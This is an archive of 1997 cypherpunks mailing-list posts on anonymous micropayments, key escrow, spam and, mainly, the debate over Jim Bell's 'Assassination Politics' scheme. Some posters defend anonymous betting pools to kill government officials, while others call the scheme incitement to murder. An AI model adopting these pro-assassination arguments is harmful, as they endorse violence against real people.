SIGNATURE----- > > > > > > > > > > > - Igor. > > > > > - Igor. From stewarts at ix.netcom.com Thu Apr 3 22:36:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 3 Apr 1997 22:36:06 -0800 (PST) Subject: BIG BROTHER (qoute without comment) In-Reply-To: <199704030636.BAA12147@pig.die.com> Message-ID: <3.0.1.32.19970403223248.006787c0@popd.ix.netcom.com> Dave Emery wrote: > told him that Motel 6 gives their guest list to the FBI every day. I'd find this fairly surprising, though the Fedz can obviously get it by subpoena or warrant if they feel like it. However, notice that most hotels you stay in want to know your name, address, company, etc. Some of it's for marketing reasons (so they can sell your name to advertisers), but I'd guess that in many jurisdictions there are legal requirements to collect it. Otherwise, all your basic motel needs to check is that the cash or credit card you pay them in advance is good (if it's not, they can evict you). (Modulo a few phone bills.) Immediate clearing works fine, no need for book entry or names. Of course, there are countries where they want to see your Citizen-Unit ID Card, or else your passport, and if you're a foreigner they'll keep your passport overnight to register it with the police. GAK... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From daw at cs.berkeley.edu Thu Apr 3 23:31:43 1997 From: daw at cs.berkeley.edu (David Wagner) Date: Thu, 3 Apr 1997 23:31:43 -0800 (PST) Subject: No, it's PayWord, no, it's MicroMint, no, it's... In-Reply-To: <199704040538.VAA01156@crypt.hfinney.com> Message-ID: <5i2af3$vhq@joseph.cs.berkeley.edu> In article <199704040538.VAA01156 at crypt.hfinney.com>, Hal Finney wrote: > David Wagner, daw at cs.berkeley.edu, writes: > > http://www.cs.berkeley.edu/~daw/my-posts/anon-micropayments > > I wonder if there is a problem with the double spending detection. > Somebody could spend at a store, then return some of the spent coins to > the broker before the store has a chance to update the broker with the > most recent spending report. Maybe the broker could contact the store and > let them know that the stack was redeemed now, and see how many had been > spent. In the non-anonymous case, shops can go offline and redeem sticks nightly; this doesn't prevent double-spending, but allows detection, so that brokers can blacklist double-spenders. When you move to anonymity, you need a different approach; going online at stick commitment time works (i.e. when the shop checks the digital signature it simultaneously goes online to the bank). This has some of the costs of online schemes, but isn't terrible, because you only do it when the first coin is paid, not when subsequent coins are. If going online is a problem, you could imagine doing probabilistic online checking. The shop has a 10% chance (say) of going online and checking immediately, and a 90% chance of batching for verification on the half hour. If the shop sees a bunch of fraud going on during some batched verification, then the shop has to take that as a loss, but it then knows to increase the chance of going online significantly. You can imagine auditing agencies (or the bank) publishing daily statistics on fraud, and businesses adjusting their percentages to respond with the trends. Again, different shops will probably have different trade-offs (based on performance demands, risk, whether they're using durable goods or selling just bits, and such); this gives them flexibility in choosing their risk profile. You mention specifically the special double-spending problem of spending once at a shop and once when asking for a redemption of a partially-spent stick. To help ameliorate this particular problem, some special-purpose solutions are available: for instance, you could enforce a one-day waiting period on trade-ins for partially-spent sticks. For instance, the consumer commits today, and if no shop has collected by tomorrow, he gets the cash back; shops are instructed to verify nightly, or else they bear much more risk. Consumers don't need to trade back their sticks in real-time; they can certainly be forced to wait a day or two at no real inconvenience. > I had an idea for doing the double-spending problem in an offline way by > using the same technique used for Chaum's offline coins. The customer > embeds his identity in the coins, blinded with a random number. A cut > and choose technique is used during withdrawal for him to prove that > he has set up his coins correctly. Then when he spends the first time > at the shop, he responds to a random challenge revealing some of his > blinded info. This is done in such a way that if he spends at two shops, > his identity is revealed by combining the info from the two different > challenges. > > Unfortunately then when he returns the unspent coins at the broker, > and goes through the protocol there, that will reveal his identity since > he is in effect double spending the stack. I don't know; I know nothing about Chaum's offline coins. Can you enforce a trade-in where the new stick the user gets has the same identity information in it that the old stick had, and the bank can verify this equality (cut-and-choose somehow??) without needing to know the identity informatino itself? I don't know. > Another concern was for the method where a stack of 87 coins gets redeemed > for a fresh stack of 87. This has the slight problem that the size of > the new stack would be correlated with the size of the one turned in. Good point. That didn't occur to me. Thanks. From se7en at dis.org Thu Apr 3 23:50:20 1997 From: se7en at dis.org (se7en) Date: Thu, 3 Apr 1997 23:50:20 -0800 (PST) Subject: Meinel news article(hehe) (fwd) Message-ID: ---------- Forwarded message ---------- Date: Fri, 04 Apr 1997 02:42:48 EST From: J R S To: dc-stuff at dis.org Subject: Meinel news article(hehe) Routers- Redmond, Wa - It seems that after Microsoft squashes one bug, another shows up. Today, in Happy Hacker Digest, the ueber-cracker Carolyn Meinel found another one. It relies on the fact that NT does not use good, strong encryption. Meinel, a NSA-approached hacker turned media glutton relied on a her mathematical skills to find the weakness. "I was once offered a job by the NSA. I read the book _Applied Cryptography_. I know lots of good math jokes." In actuality, it was her cousin who was offered the job at the NSA, as he could factor numbers in his head. Carolyn's cousin does other things, such as carry on as her in internet IRC 'chat sessions'. "Diffie Hellman is not secure. It has back doors in it. I mean it is suspected to have back doors in it. I mean some guy thinks it might have a back door in it. I wrote about it in my paper. Go read my paper." Unfortunately, Meinel was not able to be questioned as to the name of her paper. With her knowledge of cryptography, Meinel was able to make a 'k-rAd x-pl0it' against the Windows NT operating system. Carolyn found that if one has administrator access to the 'NT box' than she could decrypt the passwords because of NT's lax cryptography. When asked about the possibility that her exploits come out of other areas, such as bugtraq or dcstuff, Meinel replied with "Oh, I'd say I only get %5 from the other lists." When asked again, she came back with "Ok, well about %lk3j3pfv;ldjf08w damn line noise anyways, the point is that I found an x-ploit in NT that should be fixed." Mike Nash, Director of Marketing for WindowsNT thinks differently of though. "Even Ms. Meinel said that if you use 'really big passwords' than decryption is not possible. If you look at the NT manuals, you will notice that they have always cautioned to use really big passwords. Besides, isn't this the same bug that was found last week?" We tried to reach Meinel for comment, but she was unreachable. Getting a straight answer out of her "is like nailing Jello to the wall," as one crypto-hacker put it after talking to her. T.I. Incubus "SunOS, the swiss the_incubus at juno.com cheese of UNIX" ...Major From dsmith at prairienet.org Fri Apr 4 00:10:01 1997 From: dsmith at prairienet.org (David E. Smith) Date: Fri, 4 Apr 1997 00:10:01 -0800 (PST) Subject: Assassination Politics on Website Message-ID: <3.0.32.19970404020726.007c27c0@midwest.net> At 11:06 PM 4/3/97 -0600, Toto wrote: >Jim Bell's "Assassination Politics" is at: >http://www3.sk.sympatico.ca/carljohn/ Toto, I'm disappointed. You didn't even point them at http://bureau42.base.org/public/apfull.txt where the (AFAIK) complete AP essays have lived for months. (Note that's the same site that hosts The Xenix Chainsaw Massacre and the current drafts of WebWorld: The True Story of the Internet, modulo the last part of the URL.) dave From shift.control at nml.guardian.co.uk Fri Apr 4 00:32:11 1997 From: shift.control at nml.guardian.co.uk (Shift Control) Date: Fri, 4 Apr 1997 00:32:11 -0800 (PST) Subject: CENSORED CENSORED Message-ID: In this week's special Censorship Issue Shift Control... "The US is decidedly more robust about censorship. For starters, any art using the American flag is banned automatically (it's in the Constitution, alongside all that stuff about freedom of speech)." - Lisa Jardine on Western "liberalism". "In the movies,as in advertising, cars have played a strategic role sex-wise: when Hollywood rotated the gender wars through 180� in 'Thelma and Louise', it was female possession of the car - and of driving skills - that became the dominant and ultimately liberating motif." - Robin Hunt on Cronenberg's 'Crash'. "Fans of the 'Eastenders' will never forget last year's Blackpool episodes, which reached a riveting climax when Tony, the sexually confused ex-drug dealer, kisses Simon - his pregnant girlfriend's brother. Great stuff, but viewers were actually prevented from witnessing the full smacker. New BBC1 controller Michael Jackson made a last-minute decision to cut the kiss down from a lingering two-second smooch to a measly half-second peck." Paul Robinson on the history of censorship. Plus our new daily film section, a pre-millennial global singalong, Freebee the animated bee, the coolest shoes in the world, free books and CDs, and your last chance to win 200 quid in our fiction competition. It's all waiting, unexpurgated, at http://www.shiftcontrol.com ------------------------------------------------------------------ Shift Control is produced by the Guardian's New Media Lab with help from Boddingtons and Stella Artois Dry To unsubscribe from this mailing list send e-mail to shiftcontrol-request at nml.guardian.co.uk with the following text in the body of the mail message: unsubscribe From toto at sk.sympatico.ca Fri Apr 4 00:37:33 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 4 Apr 1997 00:37:33 -0800 (PST) Subject: Assassination Politics on Website In-Reply-To: <3.0.32.19970404020726.007c27c0@midwest.net> Message-ID: <3344BD62.2068@sk.sympatico.ca> David E. Smith wrote: > > At 11:06 PM 4/3/97 -0600, Toto wrote: > >Jim Bell's "Assassination Politics" is at: > >http://www3.sk.sympatico.ca/carljohn/ > > Toto, I'm disappointed. You didn't even point them at > http://bureau42.base.org/public/apfull.txt > where the (AFAIK) complete AP essays have lived for months. > > (Note that's the same site that hosts The Xenix Chainsaw > Massacre and the current drafts of WebWorld: The True > Story of the Internet, modulo the last part of the URL.) Dave, Thanks for the pointer. The one I threw up was just a quickie, and is double spaced throughout. I'm sure the one you have up is better formatted. I talked to Jim Bell tonight and he thinks the basic charges will be 'intent to have a bad attitude'. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From declan at well.com Fri Apr 4 05:13:37 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 4 Apr 1997 05:13:37 -0800 (PST) Subject: Jim Bell raid In-Reply-To: <199704040533.XAA03035@manifold.algebra.com> Message-ID: I've had a couple requests to redistribute or post the info I have on Jim Bell. I've decided not to. There's a good bit of personal information in there, including his SSN and information about financial investments, that I don't feel comfortable posting. I suspect Jim has enough problems already. Yes, I know, "information will be free" and all that, but I don't have to be the cause of its release. -Declan From johnp345 at norway-c.it.earthlink.net Fri Apr 4 05:34:48 1997 From: johnp345 at norway-c.it.earthlink.net (johnp345 at norway-c.it.earthlink.net) Date: Fri, 4 Apr 1997 05:34:48 -0800 (PST) Subject: Hey Baby! XOXOXO Message-ID: <199704041158.DAA06776@sweden.it.earthlink.net> Click Here 18 and over only! From ichudov at algebra.com Fri Apr 4 05:37:12 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 4 Apr 1997 05:37:12 -0800 (PST) Subject: Jim Bell raid In-Reply-To: Message-ID: <199704041329.HAA07221@manifold.algebra.com> Declan McCullagh wrote: > > I've had a couple requests to redistribute or post the info I have on Jim > Bell. I've decided not to. There's a good bit of personal information in > there, including his SSN and information about financial investments, that > I don't feel comfortable posting. I suspect Jim has enough problems > already. > > Yes, I know, "information will be free" and all that, but I don't have to > be the cause of its release. > Oh, OK, I did not know. Anyway, how does one request that information? What should the letter to the court say? And what is the address of teh court? - Igor. From toto at sk.sympatico.ca Fri Apr 4 08:49:26 1997 From: toto at sk.sympatico.ca (Toto) Date: Fri, 4 Apr 1997 08:49:26 -0800 (PST) Subject: CypherPunk Prophets / Voices Barfing In The Wilderness / ***CRYPTO RELATED---> Remailers <---CRYPTO RELATED*** In-Reply-To: <3.0.1.32.19970403133700.00693cb8@flash.net> Message-ID: <3345308A.6DC3@sk.sympatico.ca> rocket3 at ibm.net wrote: > Hello! I wanted to share something very important. > The God of heaven sent his only Son to this earth > to let us have a way to be right with God, I hate (love!!!) to say, "I told you so.", but... I realize that Tim May is the CypherPunk Prophet, foretelling developments that actually have something remotely to do with crypto, whereas I, on the other hand, am just a Voice Barfing In The Wilderness, drunkenly rambling on about God-knows-what (which, incidentally, reminds me what I meant to say). During the height of the "XXX_Your Biased Term_Here XXX" experiment on the list, my shotgun delusions led me to claim that the "Big $$$" spams were just a forerunner of things to come, with the real fruitcakes coming out of the woodwork when they realized that they could spam us in the name of Jesus, or Free Willy, or their brother, Joe, who needs a new kidney. Sure enough, I got my first 'God and Hellfire' spam today, along with the usual 'Betty Big-Boobs XXX Pics' email. (So I forwarded 'Betty Big-Boobs' to him, in an attempt to slow him down by keeping at least one of his hands busy.) Then there is 'Computer Jesus', whose friends call him 'Mac'... > To: List-Abuse > Subject: Re: Puzzling Response from juno.com > several mailing lists whose sole > charters are evangelizing the Macintosh. Once a message like "Write to > Juno and tell them that they need to support the Mac!" is posted to one > of these lists, the flood of mail from evangelical Mac users can reach > quite a pitch. And I happen to know that Juno was recently targeted for > just such a campaign. I'm still waiting for the one that reads, "Make Big $$$ Using A 'Mac' To Tell People About Jesus's Big Boobs" and I know it is only a matter of time before lonely losers, not content to bother only the CypherPunks, as I do, will be sending out 250,000 missives informing everyone that they are having a "Bad Hair Day". I notice that some of the remailer threads on the list are taking note of the fact that there needs to to be provisions for a variety of remailers capable of doing something more than merely blocking source-specific abuse, which can open a can of worms leading to a remailer resembling CyberSitter. There need to be remailers capable of being easily customized to allow only mail 'to' specific sights, such as Crisis Hotlines, or Whistle Blowers Anonymous, or Send A Congressman To Jail. There is need for a remailer which those with individual needs can easily adapt to meet that need. Then they will be promoting the remailer in a way that works best for them. For instance, there are mental health mailing lists where many people lurk in the background, afraid to participate in discussions because they fear discrimination, etc., if the wrong people find out they are on the list. (I know of one case where an individual lost the security clearance she needed to keep her job, because she was on a mental health support list for her child's benefit, not her own.) This, to me, is a good example of the type of service that some remailer operators are eager to provide, but end up getting fed up or shut down over the bullshit, instead. The more options for instituting use of customized remailers, the more functional they will be to a wide range of people, and the more exposure/use they will get. Majordomo, for instance, provides for such things as disabling the 'who' command, to protect identities on medical related lists, etc., or only allowing subscribers to post. If a list operator can program a remailer to send only to their own list, then they can make it a subscriber and allow people who fear being discovered to post their concerns through it anonymously, and advertise its existence in places where those most likely to need it will find out about the service. A good way to promote remailer use is to allow them to be adapted to purposes that a wider range of people have a specific interest in. "Crisis Line Anonymous Remailer" is instantly recognizable to a certain segment of people as something that applies to them, as is "Government Abuse Anonymous Hotline Remailer". The current remailer threads on the list contain some excellent ideas about how to develop remailers that are something other than generic spammers. I hope that these threads result in new generations and varieties of remailers that will spread their use by virtue of being functional to those who really need them for addressing serious issues in their personal life and in society at large. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From hallam at ai.mit.edu Fri Apr 4 09:28:14 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Fri, 4 Apr 1997 09:28:14 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <5i1l02$3p9@life.ai.mit.edu> Message-ID: <33453A2A.167E@ai.mit.edu> Timothy C. May wrote: > > At 3:17 PM -0800 4/3/97, Anil Das wrote: > Gee. I too wonder about that, since I am pretty > >sure the Feds don't have to time to read the cypherpunks > >list. > > This is simply not true. Various government agencies/employees read the > Cypherpunks list. Absolutely! I know quite a few who do. Before Oaklahoma I spent some time trying to persuade people to take notice of the net.activities of the likes of Ahmed Cosar, an agent of the Turkish secret service who posted inflamatory material about Armenia into various newsgroups under the name Hasan B. Mutlu and Serdar Argic. I'd guess that at this point the FBI has its own version of DejaNews. Its not hard to do analysis of USEnet, a bit of simple graph analysis. The real loons tend to turn up on the net.kooks list quites quickly in any case. > This is not a matter of thinking ourselves self-important; this is just a > simple observation that there aren't a lot of places with more incisive > analysis of issues of importance to these folks. Plus not everyone in the agencies are pro the administration line. I've met plenty of CIA and NSA people who think the GAK idea a pointless and futile waste of time. I suspect that most analysts read c'punks for the same reason I do, to get the widest possible range of views on what the posibilities for the future are. > Political advocacy is one thing, but making threats, even veiled ones, is > another matter. Absolutely, that is why I was keen for people to oppose Bell's views. If his ramblings had gone unchallenged he would now be being presented as a representative of Cypherpunk/ pro-crypto views. Besides anything else Bell was like the party bore with a hobby horse he just has to talk about. I'm somewhat more sensitive than most to advocates of murdering government officials, some of my relatives are in government and have had well publicised assasination attempts against them. I think that Bell's on-list comments may well have been protected speech but I'm not sure about his off list comments. I'm scanning through my old mail files at the moment for missives from Bell re-reading them. I think that Bell's posts were entirely different from Tim's or for that matter almost every other person on the list. Tim demonstrated that a covert information sales organisation was possible with Blacknet but he never advocated setting it up. Indeed part of the point was the ethical responsibilities. Bell on the other hand was likely to respond to any post with his AP piece. I have throughout considered these to be incitement to murder. It seems quite likely that Bell may have made a statement to an IRS official that in the context of his authoring the AP piece may have constituted a threat. If he spouted "Common law court" theories as often to the IRS as he did AP on cypherpunks he would certainly have been marked for scrutiny. Its not hard to connect with his AP piece which has been all over USEnet. According to the story they got it from a copy left behind in Bell's seized Honda. Phill From hallam at ai.mit.edu Fri Apr 4 09:30:17 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Fri, 4 Apr 1997 09:30:17 -0800 (PST) Subject: Bell explodes Freeh theory! Message-ID: <33453AB5.2781@ai.mit.edu> How is Louis Freeh going to keep up the pretense that GAK will keep crypto out of the hands of drug dealers while he's prosecuting Jim Bell for crypto related crimes and Jim already has a conviction for drug manufacture? Phill From jya at pipeline.com Fri Apr 4 09:37:05 1997 From: jya at pipeline.com (John Young) Date: Fri, 4 Apr 1997 09:37:05 -0800 (PST) Subject: Cryptographer Hits SNL Message-ID: <1.5.4.32.19970404172850.006d5714@pop.pipeline.com> Ex-Sandia Labs cryptographer William Payne has filed criminal charges with Judge Marilyn Patel against an SNL official for unauthorized disclosure of files: http://jya.com/snlhit.htm From hallam at ai.mit.edu Fri Apr 4 10:27:15 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Fri, 4 Apr 1997 10:27:15 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <5i3942$e76@life.ai.mit.edu> Message-ID: <33454823.446B@ai.mit.edu> paul at fatmans.demon.co.uk wrote: > Not at all, Jim advocates the use of necessary force against an > initiator of violence, as you would see if you have read Jims AP > overview essay he does not advocate the use of AP to kill innocent > people, indeed he does not intend it to kill anyone at all, Rather to > act as a deterrent to government which would violate the NAP. Who decides what "innocent" was? In Jim's world it was very clear that he decided who was innocent, he decided what his rights were, he decided who he could murder. He limited the justifiable targets of AP to be those he thought should be targets. His argument with the IRS appears to have included the claim that they infringed his rights which under Bell's manifesto gives him the right to murder them. > Also, an inevitable consequence of anonymity and untraceable ecash is > that assasination pools will become a feature of the political > landscape. No, it is not. If it were then Digital cash would never be possible. Society simply would not allow it and they would be right not to do so. It is because Bell's scheme is entirely preposterous that Digital cash is possible. There is simply no way an AP contract could be enforced. The betting pool is simply one of a long line of failed attempts to prop up the scheme. No country could allow such a betting pool to operate from its soil, nor any other such cover. If an IRS agent was murdered as a result of a contract placed in an Anguilla betting pool the marines would be landing the next week. No country that is small enough not to be threatened by AP has the necessary millitary strength to resist invasion. The benmefits of hosting the AP pool are marginal if any therefore no country would ever host it. >Of course there is nothing to stop someone betting that an > innocent person should be killed, this is a great problem in the > scheme, but if this did occur the friends and family of the victim > would normally have a pretty good idea who placed the bet and could > place a bet on their imminent death... There is everythingt to stop bets being placed period. Of course the main use of AP would be to murder familly members, business rivals etc. AP is simply an unrestrained murder machine with absolutely no safeguards. > Besides which you seem not to have read and understood AP as you have > ignored Jims comments about the problems of innocent people being > killed. This "not understood" conciet is bogus. I have read and fully understood Bell's article. It is in my view an incitement to murder. I have degrees in Nuclear Physics, Electronic Engineering, I have been offered a contract for my book on the philosophy of communication. If Bell can't communicate his idea to me then that is his fault, his responsibility. I am arguing against the plan he describes. Do not try the patronising "you are not clever enough to understand this" line. In this case it is bluster. > Question: Would you say the assasination of a statist who had badly > violated the NAP (eg. A district attorney involved in prosecutions > for drug dealing) was a crime? Absolutely for the simple reason that mob rule, lynch law is always criminal. If there is no due process there is no justice. Under AP rules the state has a perfect right to execute Bell. Bell clearly intends the murder of government personel, therefore under AP rules the government has the "right" to protect itself with AP if it choses. If it decides on a less arbitrary sanction then under AP principles that is a concession it is not required to make. AP eliminates process and with it proof. There are no steps proposed by which an AP initiator should deterine whether his rights have indeed been infringed. Therefore an instigator is not acting upon actual infringement of rights, merely suspected infringment. The state employees suspect Bell plots infringement of his rights. Therefore under Bell's own theory they have the right to respond by infringing his rights, without trial. AP does not contain a coherent normative ethical theory. > WRONG... The LEAs were the initiators of force and violators of the > NAP, Jim Bell, were he to kill a member of the IRS, would not be > commiting any crime, rather defending himself from a violation of his > rights. He would empirically be guilty of a crime. The courts would consider it murder and sentence him accordingly. You may not consider him ethically to be guitly of something wrong. I would disagree in that case. The LEAs have the right to initiate force in accordance with the directions of a court order. They are pre-emtively protecting their personal right to defend themselves and on behalf of society pre-emptively protecting it. > If I may make an analogy you are saying that were I to be attacked in > the street, and I pulled a gun on the attacker he has a "moral" right > to kill me to protect himself? He could well have that legal right in certain circumstances. > > However, I also think that there is a possibility that his statements, > > either on cypherpunks or elsewhere, may have gone over the line in > > terms of threatening behavior. It may be a moral weakness on my part, > > but I am not too inclined to defend someone who advocates shooting me. > > Then you are of weak character and a closet statist. Good, now we have discovered that names like statist, liberal etc are not insults even if bellowed by idiots at the top of their lungs we can return to sanity. I will not only refuse to support Bell, I'll testify against him in court if asked. > If you believe > that you are going to violate someone rights to the extent that they > want to have you killed you clearly have some sort of problem. People have threatened to murder me for what I have written. Salman Rushdie is in hiding for the same reason. I don't believe that people are fit judges of their own cause as Bell and you do. > Otherwise you have no more to worry about than you do now, AP simply > allows people perfect (as near as possible) anonymity, You can have > someone assasinated now without betting pools.... I have plenty to worry about, Bells plan would lead to murder of innocent people. Phill From jya at pipeline.com Fri Apr 4 10:49:53 1997 From: jya at pipeline.com (John Young) Date: Fri, 4 Apr 1997 10:49:53 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats Message-ID: <1.5.4.32.19970404184138.00867764@pop.pipeline.com> On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP: Virtually all of Phil's charges against AP apply equally well to state-sponsored killing in the natonal interest, including that arranged by highly educated, cultured, philosophical, nuclear physicists and electrical engineers. That's the issue. Who gets to decide who lives and who dies, and how close the killer is to the slaughter, unprotected by law, by public consensus, by popular will, by apologetics for the security of national interest. Jim Bell is hardly the first to articulate this challenge to the grand tradition of the majestic state and its precursors -- the king, the bandit, the tribal bully, the strong -- all sanctioned beasts taking what their trainers want by force, while being excused and celebrated by fey intellectuals and balladeers of all craven submissive dress. Rushdie, hmm. Phil what mind-swill you elbow-tipping? Is Rushie not closer to Jim Bell than he is to you in challenging the arrogant mullahs of highly sophisticated armed thuggery. Who you shillinging for these days, Crispin's bandits of the NLs? From null at myemail.net Fri Apr 4 11:51:59 1997 From: null at myemail.net (null at myemail.net) Date: Fri, 4 Apr 1997 11:51:59 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats Message-ID: <19514280601774@MyEmail.net> Hallam-Baker wrote: > > Timothy C. May wrote: > > Political advocacy is one thing, but making threats, even veiled ones, is > > another matter. > > Absolutely, that is why I was keen for people to oppose Bell's views. Horseshit. Anybody here ever hear of the Boston Tea Party? How about the American Revolution? War of Independece? French Revolution? You know, people who said "Fuck this shit, I've had enough." People who acted in concert to fight injustice and oppression. Perhaps Phill and Tim might want to take afternoon tea together and watch the tanks roll by, since Hitler only wants Austria... Poland...France...Britain........... I haven't noticed anyone on the list suggesting that they are going to wait to buy a gun until they hear a burglar/murderer coming through the window. If we are going to castigate someone for suggesting ways to take action against oppressive taxation, then perhaps we should call the Queen of England, tell her we're sorry for our forefather's error in judgement, and that we'll start flying the Union Jack again. > If his ramblings had gone unchallenged he would now be being > presented as a representative of Cypherpunk/ pro-crypto views. Excuse me? Only people whose views you personally approve of should be presented as a representative of cypherpunk views? I hate to burst your bubble, Phill, but everyone on the list is a representative of cypherpunk views and people outside the have a right to pick and choose the various viewpoints as they see fit. > some of my relatives are in government and have > had well publicised assasination attempts against them. So did Hitler and Mussolini. > I think that Bell's on-list comments may well have been protected > speech but I'm not sure about his off list comments. Then why bring it up? To cast vague aspersions? > I think that Bell's posts were entirely different from Tim's or > for that matter almost every other person on the list. Tim > demonstrated that a covert information sales organisation was > possible with Blacknet but he never advocated setting it up. So you're calling Tim a blowhard who likes to play at anarchy but lacks the balls to propose anything concrete? * {* DisinfoTranslation Technique (c) Greg Broiles} > Indeed part of the point was the ethical responsibilities. Bell > on the other hand was likely to respond to any post with his > AP piece. I have throughout considered these to be incitement to > murder. Your own propensity for murderous thoughts in no way reflects on other individual's interpretations of Jim Bell's intentions. Certainly Jim Bell tended to answer questions such as, "What day is it?" with a speech on AP, but what do hashcash programmers discuss? Hashcash. What does anyone talk about? The things they have an active interest in? So what's your point? > It seems quite likely that Bell may have made a statement to an > IRS official that in the context of his authoring the AP piece > may have constituted a threat. It seems quite likely that Hallam-Baker is inventing facts which don't exist because he is being paid to do so in order to do a character assassination on Jim Bell. Anyone else want to jump in with off-the-wall claims about what is "likely" and what is not? It seems to me that many list members have their heads further up their ass than the Feds, since they don't even view Bell's threats serious enough to even arrest him. They are on a simple fishing expedition to try to find a cause to harrass him into shutting the fuck up. A *true fact* (rather than vague bullshit about what is "likely") is that John Perry's remailer *was* used to send direct threats to a government official. So, Tim and Phill, which one of you wants to step up to the plate and be the first one to attempt to ostracize him so that his views about the need for anonymous communications will not be taken as representative of the cypherpunks views? Or is Perry's implementation of a system that can be abused to be allowed while Bell's theoretical design of a system to fight oppression is not to be allowed? Does the government wait until the enemies missles are launched to start preparing plans for defence and counter-attack? It is outright riduclous to suggest that individuals and groups should act otherwise, and contrary to their own self-interest. Government and corporate entities are regularly castigated on the cypherpunks list as thugs who must be dealt with in one manner or another. Various levels of action are suggested in relation to the severity of the infringement on our interests. Jim Bell's pet project was to work on a solution for problems which reached the point of requiring the ultimate action--total removal of the threat. Each cypherpunk had his or her own views of what constituted a problem of that magnitude. To suggest that any cypherpunk should not be allowed to express his or her opinion in regard to who his solution might apply to, and why, is not much different than saying that none of our discussions should address specific issues, only generalities. This is akin to saying that we cannot mention older people, or sick people, when discussing euthanasia. Excuse me, but someone is shooting at me. I need to go buy a gun... TruthMonger ************************************************************************ This Anonymous email has been relayed by http://www.MyEmail.net/ MyEmail.Net is a free anonymous mailing service. No records indicating the identity of person(s) who originated this message are retrieved electronically, or as a requirement to submit. Your email address can be blocked to prevent further contact from this service, please refer to the URL above for instructions on how to do so. ************************************************************************ From kent at songbird.com Fri Apr 4 12:50:37 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 4 Apr 1997 12:50:37 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <1.5.4.32.19970404184138.00867764@pop.pipeline.com> Message-ID: <19970404124803.38657@bywater.songbird.com> On Fri, Apr 04, 1997 at 01:41:38PM -0500, John Young wrote: > On Phil Hallam-Baker's rejoinder to Paul Bradley' defense of AP: [...] > Rushdie, hmm. Phil what mind-swill you elbow-tipping? Is Rushie not > closer to Jim Bell than he is to you in challenging the arrogant mullahs > of highly sophisticated armed thuggery. Who you shillinging for these > days, Crispin's bandits of the NLs? Crispin shills for himself, not the NLs or any bandits or anyone else. Phil Hallam-Baker shills for Phil Hallam-Baker. Jim Bell's advocacy of armed thuggery speaks for itself. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From null at myemail.net Fri Apr 4 12:57:24 1997 From: null at myemail.net (null at myemail.net) Date: Fri, 4 Apr 1997 12:57:24 -0800 (PST) Subject: Hallam-Baker messes himself. Message-ID: <20571263600017@MyEmail.net> Hallam-Baker, pissing all over his own train of logic, wrote: > It is because Bell's scheme is entirely preposterous that Digital > cash is possible. There is simply no way an AP contract could be > enforced. > No country could allow such a betting pool to operate from its soil, > nor any other such cover. > > I will not only refuse to support Bell, I'll testify against him in > court if asked. What are you going to testify to? To Bell's scheme not being a threat to anybody because it would never work? That it is nothing more than a theoretical exercise which does not present a danger to a single soul? That it is preposterous of the government to prosecute someone on the basis of a pie-in-the-sky, preposterous idea? I'm certain the government is anxiously awaiting your testimony, as well as that of a number of others on the list who seem to think that Jim Bell is such a powerful and evil force that his mere thoughts and speculations are an overwhelming threat to civilization as we know it. Everyone who thinks they can implement Jim Bell's AP system in the near future, raise both hands. Now bend over backwards, placing your head near your rectum. Now... TruthMonger ************************************************************************ This Anonymous email has been relayed by http://www.MyEmail.net/ MyEmail.Net is a free anonymous mailing service. No records indicating the identity of person(s) who originated this message are retrieved electronically, or as a requirement to submit. Your email address can be blocked to prevent further contact from this service, please refer to the URL above for instructions on how to do so. ************************************************************************ From nolegz at juno.com Fri Apr 4 13:19:45 1997 From: nolegz at juno.com (Lloyd E Briggs) Date: Fri, 4 Apr 1997 13:19:45 -0800 (PST) Subject: Book Recommendation: "Supermen" (about Cray, Norris, CDC, etc.) In-Reply-To: Message-ID: <19970404.154747.11926.0.NOLEGZ@juno.com> I would like to be removed from this mailing list please On Thu, 03 Apr 97 19:24:05 EST dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes: >"Timothy C. May" writes: >> Next came the vaunted 6600, after almost not being funded to >completion. It >> waws the first true supercomputer. Cray had moved his team up to >Chippewa > ^^^^??? > >I used to play with a 6600. It had some interesting hardware features: >* It used one's complement rather than two's complement to represent >negative >integers. (I.e. -x is the same as not x; a pattern of all 1's is >'-0'.) >* It had 60-bit words for both integers and single-precision reals. >A 120-bit double precision was pretty slow. A word could fit 10 6-bit >characters, but any kind of text processing was a bitch. >* 15-bit addresses referred to the whole word. A word could contain >several instructions, but only an instruction on a word boundary >could be a target of a branch. > >--- > >Dr.Dimitri Vulis KOTM >Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, >14.4Kbps > From privsoft at ix.netcom.com Fri Apr 4 13:23:22 1997 From: privsoft at ix.netcom.com (Steve) Date: Fri, 4 Apr 1997 13:23:22 -0800 (PST) Subject: US Domestic GAK Message-ID: <334571A3.3B05@ix.netcom.com> Has Anyone heard about this????? sorrin privsoft at ix.netcom.com Clinton administration has new encryption proposal Network World via Individual Inc. : Washington, D.C. For months the Clinton administration has lobbied for its version of key escrow that largely focused on encryption export. Now in its first formal legislative document, the White House is asking that its policy also apply to data encrypted within U.S. borders and that law enforcement be given access to that data based on a simple request from a law enforcement or government security agency. The U.S. Attorney General will set up the specific rules for written authorization. Civil liberties groups highly critical of the White House plan pointed out that under the basic guidelines it will be easier for law 